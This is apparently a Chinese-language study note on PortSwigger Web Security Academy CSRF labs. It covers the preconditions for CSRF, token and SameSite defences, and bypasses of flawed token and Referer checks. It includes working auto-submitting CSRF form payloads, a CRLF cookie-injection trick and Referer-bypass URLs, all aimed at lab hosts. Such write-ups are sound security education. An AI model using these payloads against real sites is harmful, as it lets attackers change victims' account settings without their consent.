根据PortSwigger里的实验内容将CSRF漏洞类型记录一下
要使CSRF攻击成为可能,必须具备三个关键条件:
- 相关操作。应用程序中存在攻击者有理由诱发的操作。这可能是特权操作(如修改其他用户的权限)或对用户特定数据的任何操作(如更改用户自己的密码)。
- 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,并且应用程序仅依赖于会话 Cookie 来标识发出请求的用户。没有其他机制可用于跟踪会话或验证用户请求。
- 没有不可预知的请求参数。执行操作的请求不包含任何攻击者无法确定或猜测其值的参数。例如,当导致用户更改其密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击。
防御:
- CSRF token
- SameSite cookie设置
实验分类:
没有防御措施的 CSRF 漏洞
顾名思义,没有任何防御CSRF的措施。会话仅仅只有cookie或session来维持,那么久一定存在CSRF漏洞。
payload:
<html>
<form method="$method" action="$url">
<input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
document.forms[0].submit();
</script>
</html>
document.forms[0].submit();自动提交表单
CSRF令牌的验证取决于请求方法
可以看到除了Cookie用来进行身份认证,还有一个令牌token csrf 用来进行身份认证。
这里存在的问题就是将数据用POST方式进行提交时,令牌csrf会进行认证。但是如何更改请求方式(POST改为GET),令牌csrf不会被认证。因此存在CSRF漏洞。
令牌验证依赖于令牌存在的 CSRF
与上面CSRF令牌的验证取决于请求方法类似,存在token,但是这一题不是更改请求方式。漏洞的成因是在令牌存在时正确验证令牌,但如果省略令牌则跳过验证。在这种情况下,攻击者可以移除包含令牌的整个参数(不仅仅是它的值)来绕过验证并发起 CSRF 攻击。
令牌未绑定到用户会话的 CSRF
数据包与上面类似。某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护它已颁发的令牌的全局池,并接受此池中显示的任何令牌。
在此情况下,攻击者可以使用自己的帐户登录到应用程序,获取有效令牌,然后在其 CSRF 攻击中将该令牌提供给受害者用户。
payload:
<html>
<form method="POST" action="https://ac2f1fe71f3b1e8cc00625ba00f900fc.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="csrf" value="8XVl6nxXiMUEC2ZYJ8djwL39mPPcvzyy">
<script>
document.forms[0].submit();
</script>
</html>
令牌绑定到非会话 Cookie 的 CSRF
某些应用程序确实将 CSRF 令牌绑定到 Cookie,但不会绑定到用于跟踪会话的同一 Cookie。更改session cookie会使您注销,但更改csrfKey cookie 只会导致CSRF 令牌被拒绝。这表明csrfKey cookie 可能没有严格绑定到会话。
当应用程序使用两个不同的框架时,很容易发生这种情况,一个用于会话处理,另一个用于CSRF保护,它们没有集成在一起。
这种情况更难利用,但仍然容易受到攻击。如果网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,则可能受到攻击。攻击者可以使用自己的帐户登录到应用程序,获取有效的令牌和关联的cookie,利用cookie设置行为将其cookie放入受害者的浏览器中,并在CSRF攻击中将其令牌提供给受害者。
payload:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://acc21f311f942a71c072031e00990034.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="csrf" value="lmjIpDMzZjMT1DytwERXkQu1CVHdk0H1" />
<input type="submit" value="Submit request" />
</form>
<img src="https://acc21f311f942a71c072031e00990034.web-security-academy.net/?search=heason%0d%0aSet-Cookie:%20csrfKey=B2AjipewNVuxVWu2XLzHNo9cxG5fVw3V" onerror=document.forms[0].submit();>
</body>
</html>
在 Cookie 中复制令牌的 CSRF(双重提交防御)
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]
一些应用程序不维护已颁发的令牌的任何服务器端记录,而是在Cookie和请求参数中复制每个令牌。在验证后续请求时,应用程序只需验证在请求参数中提交的令牌是否与在Cookie中提交的值匹配。被称为针对CSRF的“双重提交”防御,之所以提倡这种防御,是因为它实现起来很简单,并且不需要任何服务器端状态。
在此情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获取自己的有效令牌。他们只是发明了一个令牌(如果正在检查,可能是所需的格式),利用cookie设置行为将他们的cookie放入受害者的浏览器中,并在他们的CSRF攻击中将他们的令牌提供给受害者。
引用程序验证依赖于标头是否存在(referrer)
除了使用CSRF令牌的防御之外,一些应用程序还利用HTTP标头来尝试防御CSRF攻击,通常是通过验证请求是否来自应用程序自己的域。完全删除referrer会跳过认证。
payload:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4b1f4e1fa1b272c07211b9003e00c7.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<meta name="referrer" content="never">
<script>
document.forms[0].submit();
</script>
</body>
</html>
<meta name="referrer" content="never">
引用程序验证中断的 CSRF
与引用程序验证依赖于标头是否存在的实验相比,删除referrer头不能起到跳过认证的目的。
某些应用程序以可以绕过的朴素方式验证标头。例如,如果应用程序验证 中的域是否以预期值开头,则攻击者可以将其作为其自己域的子域:Referer
http://vulnerable-website.com.attacker-website.com/csrf-attack
同样,如果应用程序只是验证 是否包含自己的域名,则攻击者可以将所需的值放在 URL 中的其他位置:Referer
http://attacker-website.com/csrf-attack?vulnerable-website.com
注意
尽管您可能能够使用 Burp 识别此行为,但当您在浏览器中测试概念证明时,您经常会发现此方法不再有效。为了降低以这种方式泄露敏感数据的风险,许多浏览器现在默认从标头中剥离查询字符串。
Referer
您可以通过确保包含您的漏洞利用的响应设置了标头来覆盖此行为(请注意,在这种情况下拼写正确,只是为了确保您注意!这可确保发送完整的 URL,包括查询字符串。
Referrer-Policy: unsafe-url
payload:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/?aceb1fe31e57ca0bc05a89f500e30013.web-security-academy.net')</script>
<form action="https://aceb1fe31e57ca0bc05a89f500e30013.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>